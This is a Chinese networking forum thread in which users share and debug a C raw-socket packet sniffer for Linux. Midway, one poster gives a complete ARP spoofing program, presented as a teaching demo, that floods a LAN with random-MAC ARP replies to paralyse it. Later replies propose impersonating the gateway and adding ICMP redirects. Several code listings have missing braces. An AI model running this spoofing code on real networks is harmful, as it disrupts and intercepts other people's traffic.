给出一个 netdump 程序, 抓包用的. 如果改进了,也希望贴出

发表于:2007-05-25来源:作者:点击数: 标签:抓包程序netdump给出用的
最基本的,在linuxi386上 [code:1:9341a4816c] //netdump.c #includestdio.h #includesys/socket.h #includenetinet/in.h #includearpa/inet.h #includenetinet/ip.h #includestring.h #includenetdb.h #includenetinet/tcp.h #includestdlib.h #includeunist

最基本的,在linux i386上
[code:1:9341a4816c]

//netdump.c  

#include <stdio.h>    
#include <sys/socket.h> 
#include <netinet/in.h> 
#include <arpa/inet.h>  
#include <netinet/ip.h> 
#include <string.h> 
#include <netdb.h> 
#include <netinet/tcp.h> 
#include <stdlib.h> 
#include <unistd.h> 
#include <signal.h>
#include <net/if.h> 
#include <sys/ioctl.h> 
#include <sys/stat.h> 
#include <fcntl.h> 

void die(char *why, int n)
{
  perror(why);
  exit(n);
}


int do_promisc(char *nif, int sock )

struct ifreq ifr;
  
  strncpy(ifr.ifr_name, nif,strlen(nif)+1); 
  if((ioctl(sock, SIOCGIFFLAGS, &ifr) == -1)) {       
    die("ioctl", 2); 
  } 
  ifr.ifr_flags |= IFF_PROMISC; 
  if(ioctl(sock, SIOCSIFFLAGS, &ifr) == -1 ) { 
    die("ioctl", 3);
  } 
}

char buf[2*32767];

main() 

struct sockaddr_in addr; 
struct iphdr *ip; 
struct tcphdr *tcp;
int sock, r, len;
char *data;
char ss[32], dd[32];

  if((sock = socket(AF_INET,SOCK_RAW,IPPROTO_TCP)) == -1) die("socket", 1); 
  do_promisc("eth0", sock);
  
  for(;;) { 
    len = sizeof(addr); 
    r = recvfrom(sock,(char *)buf,sizeof(buf),0,(struct sockaddr *)&addr,&len);
    buf[r] = 0; 
    ip = (struct iphdr *)buf; 
    tcp = (struct tcphdr *)(buf + sizeof(struct iphdr)); 

    printf("PktSize: %d IPLEN %d PROT %d  %s:%d-->%s:%d %d \n", 
r, ip->tot_len, 
ip->protocol, 
strcpy(ss, inet_ntoa(*(struct in_addr*)&(ip->saddr))), 
ntohs(tcp->source),
strcpy(dd, inet_ntoa(*(struct in_addr*)&(ip->daddr))), 
ntohs(tcp->dest),
tcp->doff
);
    data = (char*)tcp + 4*tcp->doff; 
    printf("data = %s\n", data); 
  } 



[/code:1:9341a4816c]

 win_hate 回复于:2005-01-07 15:18:05
:D

 思一克 回复于:2005-01-07 15:20:09
那符号, 是飘扬,还是批评?

 win_hate 回复于:2005-01-07 15:28:13
是这个:


[img:ede0e02f45]http://bbs.chinaunix.net/forum/templates/subSilver/images/good_re.gif[/img:ede0e02f45]

我只会用 libpcap 抓, :oops:

 superdoctor 回复于:2005-01-07 15:29:15
不仅仅是表扬!
已经精华了,此时无声胜有声

 思一克 回复于:2005-01-07 15:31:26
精华什么。我就胡乱搞一个,因为看这几天总有问的帖子。
没有放回贴是因为怕一会就消失了

 黄山松 回复于:2005-01-07 20:18:32
还不错,呵呵
不过你这个功能稍微太弱了点:)
我帮你改了改,你原来的只能收到IP层的数据,而且只能有针对性的收,现在可以收链路层也就是以太网包:)
而且是大小各个类型统吃,呵呵
[code:1:ff111d59cd]#include <stdio.h> 
#include <unistd.h>
#include <sys/socket.h> 
#include <netinet/in.h> 
#include <arpa/inet.h>  
#include <netinet/ip.h> 
#include <string.h> 
#include <netdb.h> 
#include <netinet/tcp.h> 
#include <netinet/udp.h>
#include <stdlib.h> 
#include <unistd.h> 
#include <signal.h> 
#include <net/if.h> 
#include <sys/ioctl.h> 
#include <sys/stat.h> 
#include <fcntl.h> 
#include <linux/if_ether.h>

void die(char *why, int n) 

  perror(why); 
  exit(n); 



int do_promisc(char *nif, int sock ) 

struct ifreq ifr; 

strncpy(ifr.ifr_name, nif,strlen(nif)+1); 
   if((ioctl(sock, SIOCGIFFLAGS, &ifr) == -1)) 
   {        
     die("ioctl", 2); 
   } 
   ifr.ifr_flags |= IFF_PROMISC; 
  
   if(ioctl(sock, SIOCSIFFLAGS, &ifr) == -1 ) 
   { 
     die("ioctl", 3); 
   } 



char buf[2*32767]; 

main() 

struct sockaddr_in addr;
struct ethhdr *peth;
struct iphdr *pip;        
struct tcphdr *ptcp;
struct udphdr *pudp;
/*add more protocol head here....*/

int sock, r, len;        
char *data;
char *ptemp;

char ss[32], dd[32];     
int i;

   if((sock = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL))) == -1) 
die("socket", 1); 

do_promisc("eth0", sock); 
  
   for(;;) 

     len = sizeof(addr); 
     r = recvfrom(sock,(char *)buf,sizeof(buf), 0, (struct sockaddr *)&addr,&len); 
     buf[r] = 0; 
ptemp = buf;
/*which can get source mac address and destnation address, and which network packet, here is OSI-2, link layer*/
peth = (struct ethhdr *)ptemp;

ptemp += sizeof(struct ethhdr);
/*which get IP layer informations, includes which transport protocol, source and destnation IP address...*/
     pip = (struct iphdr *)ptemp;

/*
  * which can get transport layer informations, such as: transport socket port, transport layer includes
  * TCP, UDP, ICMP, IGMP......, can get which transport protocol from IP header
  */
ptemp += sizeof(struct iphdr);
switch(pip->protocol)
{
case IPPROTO_TCP:
ptcp = (struct tcphdr *)ptemp;
printf("TCP pkt:\n");
/*
  * and your service code....
  */
break;

case IPPROTO_UDP:
pudp = (struct udphdr *)ptemp;
     printf("UDP pkt:\n len:%d payload len:%d from %s:%d to %s:%d\n", 
    r, 
    ntohs(pudp->len),
    strcpy(ss, inet_ntoa(*(struct in_addr*)&(pip->saddr))),
    ntohs(pudp->source),
    strcpy(dd, inet_ntoa(*(struct in_addr*)&(pip->daddr))),
    ntohs(pudp->dest)
); 
/*
  * and your service code....
  */
break;

case  IPPROTO_ICMP:
printf("ICMP pkt:\n");
break;

case  IPPROTO_IGMP:
printf("IGMP pkt:\n");
break;

/*
  .
  .
  .
  .
  .
  */
default:
printf("Unkown pkt, protocl:%d\n", pip->protocol);
break;
}
    }
}[/code:1:ff111d59cd][/code]

 黄山松 回复于:2005-01-07 20:40:50
顺便建议一下,我觉得精华区应该更精华一些!
不能是版主就精华哦:)

 win_hate 回复于:2005-01-07 22:39:49
[quote:2154ef58d6="黄山松"]顺便建议一下,我觉得精华区应该更精华一些!
不能是版主就精华哦:)[/quote:2154ef58d6]

建议是好的,不过我们这里有

[quote:2154ef58d6]是版主就精华哦[/quote:2154ef58d6]

的情况么? :shock:

 黄山松 回复于:2005-01-08 10:02:22
[quote:cc49c3ce3a="win_hate"]

的情况么? :shock:[/quote:cc49c3ce3a]
有则改之,无则加勉:)
没别的意思,只想c/c++版更好,本贴楼主好象是版主吧?

 assiss 回复于:2005-01-08 10:15:47
[quote:65672bc167="黄山松"]
有则改之,无则加勉:)
没别的意思,只想c/c++版更好,本贴楼主好象是版主吧?[/quote:65672bc167]
也难怪黄山松老兄会产生误解。
CU的头衔实在让人头大。
发的帖子多了,就是版主?还是某一个版的版主?反正我是没明白。

 win_hate 回复于:2005-01-08 10:21:11
在我眼里,思一克是一位乐于助人的技术高手,我都没注意到他是斑竹。何况还不是c 版的。

您要是觉得这个精华给得不对,可以说出理由,我跟别的斑竹商量一下。


我给精华的理由如下:

问这种问题的人常有,直接能用的答复就没有。一般的回答就是“看xxx的代码”,或者“用 libpcap"(我的答复)。而思一克的回复直接能用。

思一克给出的是一个最小例子,演示了如何使用 ioctl 把 网络设备设置为混杂模式。规模小,单纯,就容易被理解,并可在其上作扩展,比如您后来的例子。

 honkily 回复于:2005-01-08 17:46:19
确实好用!收藏~

 arcsiny 回复于:2005-01-10 09:35:01
呵呵 客观的讲 楼主给的例子确实很简单,如果给精华的话,我想 黄山松 的更好一些。我想黄山松也是好意,包括我在内。

 思一克 回复于:2005-01-10 09:39:57
谢谢你的意见。

我原来在WIN上做过那东西,有个非常全的程序,显示几乎所有协议,并按DOS DEBUG的D命令格式显示的。

我是故意裁剪下来贴出来的,目的就是教学用,为了是问题本质更清楚。




[quote:ef830cf799="arcsiny"]呵呵 客观的讲 楼主给的例子确实很简单,如果给精华的话,我想 黄山松 的更好一些。我想黄山松也是好意,包括我在内。[/quote:ef830cf799]

 黄山松 回复于:2005-01-10 09:59:28
[quote:890bd40efe="思一克"][/quote:890bd40efe]
那就请楼主把WIN的程序贴出来看看嘍:)
WIN下面不用别的库也能做到这个地步吗?

 思一克 回复于:2005-01-10 10:13:30
可以。
WIN下面我告诉你地方
MSSDK/SOURCE/NETDS/WINSOCK/rcvall.* 程序就是那东西。
我就是根据它改的。

我觉得CU论坛的作用应该是学习,互相帮忙解决问题;而不是(或主要
不是)得到工作结果。
比如,有些帖子,“说要实现XXXX,请帮助写程序”等等。

我可以将windows那个原始程序MAIL给你,如果你没找到的话。

 黄山松 回复于:2005-01-10 10:24:32
好啊,leo_guo@jisung.cn,我很少写WIN程序

 思一克 回复于:2005-01-10 10:34:48
已经发过去了。

 黄山松 回复于:2005-01-10 10:48:57
谢谢,收到!
只能收到第三层IP层的包啊,依然收不到以太网包,还是有差距:)

 assiss 回复于:2005-01-10 10:59:17
我倒是觉得思一克的程序更应该精华,WINHATE版主的做法很对。
对于一个程序员来说,最需要的不应该是一个问题的全版本,而是对问题的最小简化。思一克的程序正是这样的,它能让我们很快了解这个问题的本质,再加上手册,我们能很容易扩展这个程序。
程序员不是最终客户。

 思一克 回复于:2005-01-10 11:00:27
收包的范围不就是调socket参数吗。
你都做过的了(在你的回贴中):
if((sock = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL))) == -1) 
      die("socket", 1);

 黄山松 回复于:2005-01-10 12:48:46
呵呵,你的程序和我的程序实际上有本质的区别,虽然改动很小:)
你的程序依然是建立在IP SOCKET的基础上的,只能针对IP层某种协议数据包处理,在处理一种协议包时就不能处理另外一种协议包了.
而我给你改的,是建立在设备上的,是面对所有基于以太网协议的数据包处理.概念要搞清楚.

另回assiss:
精华不精华是无所谓的,是精华又能怎么样呢,目的是把问题搞清楚,只要在CU里可以看贴子回贴子就可以了,是精华又不发钱的:)想不到我的一句话会有这么多问题出现,呵呵!
我只是提出一点看法而已,既然有那么多讨论就多说几句,首先我声明我不是一个程序员,所以是抱着学习的态度来这里,我只是一个做嵌入底层软件的,和大家差的远.
其次我的建议只是个人看法,对于精华我依然认为要更精华,我对精华的定义是能引导别人进步,解决别人的难题,精华应该出现在最好的基础上的,如果我是版主我会等大家都畅所欲言欲言到一定程度之后再来评定该不该是精华,针对此贴,光有一点程序是远远不能称为精华的,至少应该还有相关的说明,我们的贴子里有吗???否则,精华多了还有精华的意义吗?
OK,气氛好了,继续跟贴:)

 思一克 回复于:2005-01-10 13:03:16
to 黄山松,
我发给你rcvall是原始的MSSDK程序。
你改的也很好。
我在此也建议C斑竹将你改动后的加到精华,如果精华怕类似的就将我的拿下。能给找此问题的人有帮助是我们共同的目的。

 Yufei00772002 回复于:2005-01-10 13:29:34
建议把 - 黄山松 改过的程序share 出来,另外同意 - 黄山松 的说法,socket 初始化之后,没有到链路层,所以不收那个包。
实际上大家都在学习,我是昨天才学网络编程
另外 - assiss 的话和 - 黄山松没有冲突,我觉得是 - 黄山松想多了。

 思一克 回复于:2005-01-10 13:40:11
To 黄山松,

你好。我才细看你改动后的帖子。这一段好象有程序错误呀。

[code:1:51377458be]
case   IPPROTO_UDP: 
       pudp = (struct udphdr *)ptemp; 
       printf("UDP pkt:\n len:%d payload len:%d from %s:%d to %s:%d\n", 
             r, 
             ntohs(pudp->len), 
             inet_ntoa(*(struct in_addr*)&(pip->saddr)), 
             ntohs(pudp->source), 
             inet_ntoa(*(struct in_addr*)&(pip->daddr)), 
             ntohs(pudp->dest) 
            ); 
            /* 
              * and your service code.... 
              */ 
[/code:1:51377458be]

你最好回答我一下。

 Yufei00772002 回复于:2005-01-10 13:41:01
对不起,实际上已经有了:
if((sock = socket(AF_INET,SOCK_RAW,IPPROTO_TCP)) == -1) die("socket", 1); 
if((sock = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL))) == -1) die("socket", 1);

我对比了这两行代码,- 黄山松 写的规范性要强, 这也是大家学习的亮点吗?

 思一克 回复于:2005-01-10 13:43:14
To Yufei00772002,

你看看我上一帖子,能发现问题吗?

 黄山松 回复于:2005-01-10 13:46:34
不用比了,strcpy不能去掉的,这也是个知识点啊:)

 思一克 回复于:2005-01-10 13:49:08
那你还得改好在重新贴。
因为这是C坛子上常讨论并呼唤加以改正的问题

 Yufei00772002 回复于:2005-01-10 14:42:04
我看到的是已经改好的了,
指针已经移动了 ptemp += sizeof(struct iphdr);
所以我在比 ip -> tot_len 和 ntohs(pudp->len)

另外,对不起,我不知道这里为什么要用 strcpy

 myhstone 回复于:2005-01-10 15:17:35
要命,编译完后运行得眼都花了,
linux机器差点死掉。。。。:-(

 Yufei00772002 回复于:2005-01-10 15:43:39
不好意思,我是昨天才学习这个网络程序,但是我们都好像是新手,我愿意回答这个问题,
因为 for(;;) 是个无限循环,应该是只要你的网卡是active的状态,就不断读上面的信息,fetch出来。
我感觉死机不至于,你可以定向到一个文件,然后CTRL+C

-- 感觉这里真专业,大家都是real practices.

 playmud 回复于:2005-01-10 19:19:01
好啊,大家表现都很好!真的。

 JohnBull 回复于:2005-01-10 23:20:24
真热闹啊! :D  我也凑凑!
这是我讲课时的示范程序,让你的网络瘫痪,make一下就行了.

[code:1:7add552a28]
/*
 *
 * This is a simple arp spoof program.
 * It demostrates the usage of PACKET socket.
 * the code is published under GPL.
 * see http://www.gnu.org for the detail of GPL.
 *  written by
 *  John Bull <john@ccjsj.com>
 */
#include <stdio.h>
#include <unistd.h>
#include <signal.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <features.h>
#include <netpacket/packet.h>
#include <net/ethernet.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <net/if.h>
#include <net/if_packet.h>
#include <net/if_arp.h>

struct etharp {
struct arphdr hdr;
unsigned char sender_mac[6];
unsigned char sender_ip[4];
unsigned char rcver_mac[6];
unsigned char rcver_ip[4];
};

struct etharp_frame {
unsigned char dst[6];
unsigned char src[6];
unsigned short type;
struct etharp arp;
};

char*
mac2a(char* dst, unsigned char* addr)
{
int i;
char buf[8];

dst[0]='\0';
for (i=0;i<6;i++) {
sprintf(buf,"%.2X",(unsigned char)addr[i]);
strcat(dst,buf);
if (i<5) {
strcat(dst,":");
}
}
return dst;
}

char*
ip2a(char* dst, unsigned char* addr)
{
int i;
char buf[8];

dst[0]='\0';
for (i=0;i<4;i++) {
sprintf(buf,"%u",(unsigned char)addr[i]);
strcat(dst,buf);
if (i<3) {
strcat(dst,".");
}
}
}

int
getIndexbyName(int sd, const char* ifname)
{
int ret;
struct ifreq req;

strncpy(req.ifr_name,ifname,IFNAMSIZ);
ret=ioctl(sd,SIOCGIFINDEX,&req);
if (ret==-1) {
return -1;
}
return req.ifr_ifindex;
}

void
usage(char* argv0)
{
printf("usage: %s -i ifname -m\n",argv0);
}

main(int argc, char *argv[])
{
int sd,fd;
int ret;
int iface;
struct sockaddr_ll my_end,his_end;
int his_end_len;
struct etharp_frame rcvBuffer[1],sndBuffer[1];
char mac[18],ip[16];

unsigned char fake[6];


if (argc<2) {
usage(argv[0]);
exit(0);
}

int c;
char iface_name[IFNAMSIZ];
int monitor_mode=0;
strcpy(iface_name,"eth0");
while ((c=getopt(argc,argv,"i:m"))>=0) {
switch (c) {
case 'i' :
  strncpy(iface_name,optarg,IFNAMSIZ);
  break;
case 'm' :
  monitor_mode=1;
  break;
default :
  usage(argv[0]);
  exit(0);
  break;
}
}

printf("This program keeps running for 60 seconds.\n");
printf("NIC=%s\n",iface_name);
printf("Monitor Mode=%i\n",monitor_mode);
printf("=========\n");
alarm(60);

sd=socket(PF_PACKET,SOCK_RAW,htons(ETH_P_ARP));
if (sd==-1) {
perror("socket");
exit(1);
}

iface=getIndexbyName(sd,iface_name);
if (iface==-1) {
perror("ioctl(Request interface index)");
exit(-1);
}

my_end.sll_family=AF_PACKET;
my_end.sll_protocol=htons(ETH_P_ARP);
my_end.sll_ifindex=iface;
ret=bind(sd,(struct sockaddr*)&my_end,sizeof(struct sockaddr_ll));
if (ret==-1) {
perror("bind");
exit(1);
}

fd=open("/dev/urandom",O_RDONLY);

while (1) {
ret=recvfrom(sd,rcvBuffer,sizeof(rcvBuffer),0,(struct sockaddr*)&his_end,&his_end_len);
if (ret==-1) {
continue;
}

if (ntohs(rcvBuffer->arp.hdr.ar_op)==ARPOP_REQUEST) {
ip2a(ip,rcvBuffer->arp.sender_ip);
printf("%s wants to know ",ip);
ip2a(ip,rcvBuffer->arp.rcver_ip);
printf("%s's MAC.\n",ip);
fflush(stdout);

if (monitor_mode==1)
continue;

read(fd,fake,6);

memcpy(sndBuffer->dst,rcvBuffer->arp.sender_mac,6);
memcpy(sndBuffer->src,fake,6);
sndBuffer->type=htons(ETH_P_ARP);
sndBuffer->arp.hdr.ar_hrd=htons(ARPHRD_ETHER);
sndBuffer->arp.hdr.ar_pro=htons(0x0800);
sndBuffer->arp.hdr.ar_hln=(char)6;
sndBuffer->arp.hdr.ar_pln=(char)4;
sndBuffer->arp.hdr.ar_op=htons(ARPOP_REPLY);
memcpy(sndBuffer->arp.sender_mac,fake,6);
memcpy(sndBuffer->arp.sender_ip,rcvBuffer->arp.rcver_ip,4);
memcpy(sndBuffer->arp.rcver_mac,rcvBuffer->arp.sender_mac,6);
memcpy(sndBuffer->arp.rcver_ip,rcvBuffer->arp.rcver_ip,4);

his_end.sll_family=AF_PACKET;
// his_end.sll_addr should be filled by recvfrom() already
his_end.sll_halen=6;
his_end.sll_ifindex=iface;
sleep(1);
sendto(sd,sndBuffer,sizeof(sndBuffer),0,(struct sockaddr*)&his_end,sizeof(his_end));
mac2a(mac,fake);
printf("\tfaked a %s as the answer.\n",mac);
}
}
close(fd);
}
[/code:1:7add552a28]

 黄山松 回复于:2005-01-11 10:39:20
呵呵,教人学坏啊:)
好,我来配个讲解:
本程序的作用是起到ARP欺骗.首先说一下ARP的作用:
ARP的作用是获取目的IP机器的MAC地址,然后在根据这个MAC地址和IP地址和目标机器进行信息交互,有一点比较重要的就是每个机器在正常工作的情况下只会接受MAC地址是广播地址和MAC地址是自己MAC地址的网络包.
所以加入机器A想和机器B通信,过程如下:

1.A发一个ARP包(这是广播包,谁都可以收到),想去获取机器B的MAC
2.机器B接收到该ARP包并确人是给自己的,返回一个ARP包,告诉A他的MAC
3.A根据获取的MAC进行网络交互

本程序的作用是:
接收到任何一个机器发出来的ARP请求包,立马回一个ARP返回包,里面返回的MAC地址是随机的(够狠:),这样网络里的MAC地址和IP地址对应关系就会乱掉了,这样整个网络的数据交互就瘫痪了,哈哈

 Yufei00772002 回复于:2005-01-11 11:09:47
这个程序写的蛮好的(当然我是写不出来的),知识点挺多的,总体感觉是收到的数据包,又送回去了。
学习啊... ...

对不起,我没有看到 - 黄山松的回帖
返回的Mac地址是从一个文件里读出来的,这个文件有随机性?
不知道说的对不对

 RealRaul 回复于:2005-01-21 13:10:39
cc -o netdump netdump.c
"/usr/include/sys/netinet/ip.h", line 175: error: Syntax error before or at: n_long
"/usr/include/sys/netinet/ip.h", line 175: error: cannot recover from previous errors

 lifeixiao 回复于:2005-01-28 10:32:24
//netdump.c  

#include <stdio.h>    
#include <sys/socket.h> 
#include <netinet/in.h> 
#include <arpa/inet.h>  
#include <netinet/ip.h> 
#include <string.h> 
#include <netdb.h> 
#include <netinet/tcp.h> 
#include <stdlib.h> 
#include <unistd.h> 
#include <signal.h> 
#include <net/if.h> 
#include <sys/ioctl.h> 
#include <sys/stat.h> 
#include <fcntl.h> 
#include <termios.h>

void die(char *why, int n) 

   perror(why); 
   exit(n); 



int do_promisc(char *nif, int sock ) 

struct ifreq ifr; 
  
   strncpy(ifr.ifr_name, nif,strlen(nif)+1); 
   if((ioctl(sock, SIOCGIFFLAGS, &ifr) == -1)) 
   {        
     die("ioctl", 2); 
   } 
   ifr.ifr_ifru.ifru_flags |= IFF_PROMISC; 
   if(ioctl(sock, SIOCSIFFLAGS, &ifr) == -1 ) 
   { 
     die("ioctl", 3); 
   } 


char buf[3*32767]; 

main() 

struct sockaddr_in addr; 
struct ip *ip; 
struct tcphdr *tcp; 
int sock, r, len,i; 
char *data ,*ptr; 
char ss[32], dd[32]; 
int size;

if((sock = socket(AF_INET,SOCK_RAW,0)) == -1) die("socket", 1); 
do_promisc("tu0", sock); 

  
for(;;) 

len = sizeof(addr); 

r = recvfrom(sock,(char *)buf,sizeof(buf),0,(struct sockaddr *)&addr,&len); 
buf[r] = 0; 

ip = (struct ip *)buf; 
for(i=0,ptr=buf;i<2*32767;ptr++);
tcp = (struct tcphdr *)ptr; 

   printf("PktSize: %d IPLEN %d PROT %d  \
   %s:%d-->%s:%d %d \n",
    r, ip->ip_len, ip->ip_p,
     
    strcpy(ss, inet_ntoa(*(struct in_addr*)&(ip->ip_src.s_addr))), 
    ntohs(tcp->th_sport), 
    strcpy(dd, inet_ntoa(*(struct in_addr*)&(ip->ip_dst.s_addr))), 
    ntohs(tcp->th_dport), 
    tcp->th_off ); 
     data = (char*)tcp + 4*tcp->th_off; 
     printf("data = %s\n", data); 
 }


================
我把楼主的程序改了一下放在Digital UNIX下运行,程序一直阻塞在recvfrom处,这是为什么?我另外写了测试程序从另外一台机上往本机上不停的发数据啊明明

 思一克 回复于:2005-01-28 10:52:57
socket(d, SOCK_RAW, p);

如果仅仅capture IP, d = PF_INET, p = IPPROTO_UDP, IPPROTO_TCP,等

如果capture Ethernet以上的协议,d = PF_PACKET, p = htons(ETH_P_ALL)

 lifeixiao 回复于:2005-01-28 11:18:23
我改成if((sock = socket(PF_INET,SOCK_RAW,IPPROTO_TCP)) == -1) die("socket", 1); 
结果还是不行啊

 思一克 回复于:2005-01-28 11:53:03
telnet localhost 看看。
不行再socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL))实验。

看ioctl manpage,是不是和linux有什么不同

 lifeixiao 回复于:2005-01-28 12:21:42
telnet localhost 看看。 
=========
没问题
不行再socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL))实验。 
=============
说PF_PACKET,ETH_P_ALL未定义

看ioctl manpage,是不是和linux有什么不同
============
没看处什么来,man的解释一点都不详细,惨.............

 思一克 回复于:2005-01-28 12:25:04
INCLUDE ALL THESE FILES
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netinet/ip.h>
#include <string.h>
#include <netdb.h>
#include <netinet/tcp.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <net/if.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <linux/if_ether.h>

 lifeixiao 回复于:2005-01-28 16:10:51
搞定了,不过好像只能接收ping程序回射得包,不能抓tcp包。。。。

 sohusina 回复于:2005-01-30 00:28:49
在unix下必须使用libpcap才能抓到tcp包。

 lifeixiao 回复于:2005-01-31 14:27:03
这个程序应该是抓ip层的包的吧,tcp连接也有ip包吧,不知道我理解的对不对。

 JohnBull 回复于:2005-01-31 17:11:24
[quote:2f54b4759e="sohusina"]在unix下必须使用libpcap才能抓到tcp包。[/quote:2f54b4759e]

那libpcap是怎么写出来的呢?  :m01:

 mousejiji 回复于:2005-04-04 15:47:55
不好意思,今天看到这个精华,有好多问题想问,还请各位大侠赐教。
最近我也编了一个截获网络数据包的程序,程序中有这样一段代码:
int sock; 
...
...
if((sock=socket(AF_INET,SOCK_RAW,0))<0) 

perror("can't created "); 
exit(0); 

...
...
编译通过,执行的时候屏幕打印:can't created :Socket type not supported? 
我把IPPROTO_IP换成IPPROTO_TCP 就不会报错 
看到上面[b:017fffc2a4]黄山松写[/b:017fffc2a4]的:sock = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)),我想问下为什么要用AF_PACKET,是不是只有用它才能捕获到数据链路层的包,我的:sock=socket(AF_INET,SOCK_RAW,0)应该可以捕获得到IP层的所有包吧,但为什么会不支持呢?如果说我的内核不支持原始套接字可为什么换成IPPROTO_TCP 就可以了呢?
还有我看到[b:017fffc2a4]lifeixiao[/b:017fffc2a4]的程序里也有sock = socket(AF_INET,SOCK_RAW,0),想问下你执行的时候没遇到我的这种情况吗?
PS:我的系统是redhat9.0,以root登陆。

怎么回事呀?

在此谢谢各位参与帖子讨论的朋友,这个问题困扰我很久了,现在终于看到黎明前的曙光了!

 思一克 回复于:2005-04-04 16:10:07
你socket最后参数为什么是0?

 mousejiji 回复于:2005-04-04 21:16:37
0是IPPROTO_IP默认的值吧  我也换成过IPPROTO_IP
情况一样
只有写IPPROTO_TCP才不报错
奇怪呀

 思一克 回复于:2005-04-04 23:12:10
你要的含义应该用IPPROTO_RAW

IPPROTO_IP (0)不是IP层上的一个协议, IPPROTO_TCP(UDP/ICMP)是。

 mousejiji 回复于:2005-04-11 23:14:09
记得上次问过一个sock=socket(AF_INET,SOCK_RAW,IPPROTO_TCP) 的问题 在各位大侠的热心相助下终于搞定了
可现在又出现了新问题:1.程序编好后(捕获网络上的所有的包),运行时打印出的 IP源地址 目的地址 居然相同? 我仔细看了不是代码的手误 而且我编译执行精华里”给出一个 netdump 程序, 抓包用的. 如果改进了,也希望贴出 “ 上的程序 打印出的源 目地址也相同(是指对于一个包来说 它的源 目IP地址相同) 怎么回事呀??
2.关于字节序的问题:我想问网络字节序到底是把整个的32bit从高到低颠倒过来还是分成字段 每字段分别颠倒?
3.看到精华的程序里都是输出端口号的时候转换字节序(ntohs(***)),输出其他的时候(如:len )的时候却没有用ntohs 这是为什么呢?难道len不用转换成机器字节序吗?

 mousejiji 回复于:2005-04-11 23:14:59
现在又出现了一个新问题
我不能写if(sock=socket(AF_PACKET,SOCK_RAW,htons(ETH_P_ALL))==-1) {.....}
而只能写sock=socket(AF_PACKET,SOCK_RAW,htons(ETH_P_ALL)) 写if的那个会报错:Invalid argument
晕了 哪位知道是怎么回事呀

 rootclown 回复于:2005-04-22 16:34:59
[quote:5e0060bd7a]接收到任何一个机器发出来的ARP请求包,立马回一个ARP返回包,里面返回的MAC地址是随机的(够狠icon_smile.gif,这样网络里的MAC地址和IP地址对应关系就会乱掉了,这样整个网络的数据交互就瘫痪了[/quote:5e0060bd7a]
能保证比ARP请求的目的主机更早响应?我写了一个向局域网内所有的主机发送一个ARP请求,把他们的回复保存起来,然后每一秒就冒充网关向他们发送ARP reply,我想这样应该效果更好吧

 JohnBull 回复于:2005-04-22 19:17:15
[quote:fb93280d04="rootclown"]
能保证比ARP请求的目的主机更早响应?[/quote:fb93280d04]

有必要吗?应该吗?
再想想.

 rootclown 回复于:2005-04-22 19:42:20
是不是不管有没有请求,只要是受到ARP reply ,如果ARP cache里的与受到的不一致,都会进行更新?

 rootclown 回复于:2005-04-22 19:47:03
刚看了RFC826,发现了这个,以前没仔细看:)    
   [code:1:dc281cd26f]
   Notice that the <protocol type, sender protocol address, sender
hardware address> triplet is merged into the table before the
opcode is looked at.  This is on the assumption that communcation
is bidirectional; if A has some reason to talk to B, then B will
probably have some reason to talk to A.  Notice also that if an
entry already exists for the <protocol type, sender protocol
address> pair, then the new hardware address supersedes the old
one.  


[/code:1:dc281cd26f]

 narkissos 回复于:2005-04-23 01:30:57
pat :D

 narkissos 回复于:2005-04-23 01:45:47
建议大家茶余饭后找来libnet和libpcap看看(来个tcpdump就更好了),基本上就差不多了 :D 

mousejiji,关于网络字节顺序问题,建议去google查big endian、little endian就清楚了(按字节转)

 nait 回复于:2005-06-21 23:19:58
[quote:8a215ad6c8="JohnBull"][/quote:8a215ad6c8]
厉害!
不过我觉得死的还不够透彻

我想了一个双管齐下的办法,就是在发送伪造的arp应答时,顺便发个重定向路由的icmp过去,相当于死了再鞭尸,这样如果管理员不干预的话,就永无翻身之日了 :lol:  :lol: 
arp的缺陷就是不能跨局域网而且高速缓存有时限,程序不运行了网络应该能自动恢复吧,icmp的威力应该更大些

原文转自:http://www.ltesting.net

评论列表(网友评论仅供网友表达个人看法,并不表明本站同意其观点或证实其描述)